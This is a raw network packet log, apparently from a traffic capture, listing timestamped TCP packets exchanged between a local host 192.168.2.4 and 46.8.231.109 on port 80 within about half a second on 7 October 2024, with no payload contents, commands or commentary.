Oct 7, 2024 03:03:10.515242100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515254974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515258074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515271902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515274048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515295982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515312910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515336990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515353918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515364885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515379906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515399933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515415907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515438080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515455961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515503883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515507936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515553951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515557051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515582085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515590906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515607119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515608072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515619993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515625954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515644073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515644073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515661955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515666962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515678883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515697956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515698910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515714884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515723944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515732050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515757084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515759945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515764952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515783072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515784025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515801907 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515801907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.515829086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.515860081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.631489038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.636415958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.807899952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.807939053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.807967901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808001995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808056116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808089972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808094978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808130980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808146000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808181047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808197021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808197021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808217049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808254957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808254957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808271885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808307886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808357954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808357954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808366060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808399916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808433056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808448076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808448076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808485985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808487892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808526039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808562040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808573008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808573008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808598042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808641911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808655024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808665991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808701038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808731079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808741093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808741093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808783054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808785915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808821917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808871031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808871031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808877945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808912039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808944941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.808959961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808959961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.808983088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809005022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809036016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809050083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809071064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809103966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809118986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809118986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809140921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809181929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809181929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809195042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809228897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809261084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809276104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809276104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809294939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809314013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809329987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809365988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809371948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809371948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809417009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809468031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809468031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809473038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809505939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809540987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809554100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809554100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809572935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809607983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809607983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809645891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809657097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809657097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809680939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809698105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809732914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809734106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809767962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809791088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809803963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809823036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809838057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809865952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809874058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809892893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809909105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809941053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.809954882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809954882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.809997082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810031891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810049057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810049057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810065985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810108900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810108900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810146093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810159922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810159922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810180902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810216904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810233116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810233116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810246944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810278893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810296059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810296059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810436964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810472012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810488939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810488939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810506105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810540915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810560942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810560942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810575008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810610056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810626984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810626984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810663939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810703993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810723066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810723066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810739040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810770988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810787916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810787916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810806990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810841084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810853958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810853958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810878038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810913086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810925961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810925961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810946941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810981989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.810996056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.810996056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811017990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811045885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811055899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811090946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811103106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811103106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811125040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811141968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811181068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811217070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811232090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811232090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811250925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811285019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811294079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811295033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811342001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811377048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811395884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811395884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811439991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811451912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811489105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811503887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811521053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811557055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811569929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811569929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811592102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811628103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811644077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811644077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811664104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811696053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811719894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811732054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811733961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811767101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811785936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811785936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811801910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811836958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811851025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811851025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811877966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811896086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811912060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811945915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.811950922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811950922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.811981916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812014103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812021017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812021017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812051058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812084913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812093973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812093973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812119007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812155962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812167883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812167883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812189102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812226057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812232018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812232018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812259912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812293053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812309980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812309980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812325954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812345982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812361002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812396049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812408924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812408924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812429905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812464952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812467098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812479019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812501907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812540054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812544107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812581062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.812588930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812588930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.812715054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898436069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898473024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898526907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898586035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898618937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898643017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898643017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898643017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898664951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898664951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898674965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898708105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898734093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898763895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898772001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898798943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898835897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898844004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898844004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898869991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898897886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898925066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898931026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.898958921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.898996115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899008989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899008989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899046898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899096966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899096966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899104118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899141073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899158001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899174929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899209023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899225950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899225950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899243116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899277925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899288893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899288893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899322033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899333954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899369001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899399996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899425983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899436951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899492025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899497032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899528027 CEST	80	49731	46.8.231.109	192.168.2.4
